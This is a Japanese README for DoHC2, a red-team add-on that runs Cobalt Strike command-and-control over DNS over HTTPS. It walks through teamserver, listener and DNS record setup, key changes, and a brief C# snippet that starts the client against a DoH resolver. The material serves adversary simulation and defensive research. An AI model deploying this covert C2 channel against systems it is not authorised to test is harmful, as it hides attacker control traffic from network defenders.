⚠️ 注記: このツールはもはや活発にメンテナンスされていません。

DoHC2

DoHC2 は、Ryan Hanson (https://github.com/ryhanson/ExternalC2) による ExternalC2 ライブラリを、 DNS over HTTPS (DoH) を介したコマンド&コントロール (C2) のために利用できるようにします。これは、広く使われている アドバーサリシミュレーションおよびレッドチーム運用ソフトウェアである Cobalt Strike (https://www.cobaltstrike.com) 向けに構築されています。

プレゼンテーション

このプロジェクトは、2018年10月23日に Mitre ATT&CKcon で公開されました。

スライド: Playing Devil’s Advocate to Security Initiatives with ATT&CK

ブログ記事: DOH! DNS Over HTTPS Poses Possible Risks to Enterprises

図

使用方法

1. Cobaltstrike teamserver をインストールして起動します。
2. beacon_http/beacon_https リスナーを起動します - 注意 これはファイアウォールで遮断できますが、External C2 を機能させるために必要です。
3. スクリプト 'external_c2.cna' を読み込んで、ExternalC2 ポート 2222 を開始します (ファイアウォール無効)。
4. python3 サーバー用の依存関係をインストールします。
5. ポート 53/udp をインターネット (または DoH プロバイダーの IP レンジ) に対して開放します。
6. お使いのドメインに、teamserver/DNS サーバー IP を指す A レコードを作成します。例: [A] entry.example.org -> 000.000.000.000
7. 送信チャネル (INPUTDOMAIN) 用に、A レコードを指す NS レコードを作成します。例: [NS] send.example.org -> entry.example.org。
8. 受信チャネル (OUTPUTDOMAIN) 用に、A レコードを指す NS レコードを作成します。例: [NS] receive.example.org -> entry.example.org。
9. DoHC2.py 内の INPUTDOMAIN と OUTPUTDOMAIN を変更します。暗号化キー/IV を変更します - これは Teamserver-->Client のパスを暗号化するために使用されます (ステージャーを暗号化します)。DoH プロバイダーに応じて max_records を 1 から変更します。一部のプロバイダーは返されるレコードの順序を並べ替えますが、これは現在処理されていません。DNS サーバーでは最大 5 でうまく機能します。
10. python3 DNS サーバーを起動します。
11. ExternalC2 ライブラリをビルドします。DoHChannel.cs 内の暗号化キー/IV を python3 サーバーに合わせて変更します。
12. 以下のように DoHC2() を構成して起動し、INPUTDOMAIN、OUTPUTDOMAIN、および 'https://resolver.example.org/dns-query' の形式の DoH プロバイダー を必ず設定します。

サーバー

ACME DNS Server に基づく Python DNS サーバー

• これはデフォルトで 127.0.0.1:2222 の Cobalt Strike Teamserver への生の DNS をインターフェースします。
• INPUTDOMAIN と OUTPUTDOMAIN を、サーバーの外部 IP の NS であるホストに変更します:

	pip3 install -r requirements.txt
	sudo python3 ./DoHC2.py

ライブラリ

@ryhanson の ExternalC2 に以下の追加を行ったもの:

• Channels> DoHChannel.cs - DoH 実装
• Channels > Base32.cs (https://gist.github.com/BravoTango86/2a085185c3b9bd8383a1f956600e515f より)
• DoHC2.cs - DoH チャネルのセットアップ / ラッパー
• Newtonsoft.JSON (https://www.newtonsoft.com/json) がプロジェクトに追加されています

クライアント例

• ExternalC2 の他の部分と同様に、DoHC2 は JScript/DotNetToJS 用に COMVisible ですが、これはそれを開始するための簡単な例です。
• クライアント例 DoHC2Runner は、ライブラリを読み込んで以下のようにセットアップすることをデモする単純な C# プログラムです:

	DoHC2 doh = new DoHC2();
	doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
	doh.Go();

著作者

• David Middlehurst - Twitter- @dtmsecurity

ライセンス

DoHC2

前述のとおり、David Middlehurst、SpiderLabs によって作成された一部の要素 (他のオープンソースプロジェクトが利用される場合は、それぞれのライセンスを参照してください)。

Copyright (C) 2018 Trustwave Holdings, Inc.

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

謝辞

• ExternalC2
• ExternalC2 Spec
• ACME DNS Server - (Python Server)
• Python Shared File C2 - (Python Server)
• Python External_C2_Framework - (Python Server)
• DNSExfiltrator - Python Server

貢献者

• xinhaojing - サーバー Issue #1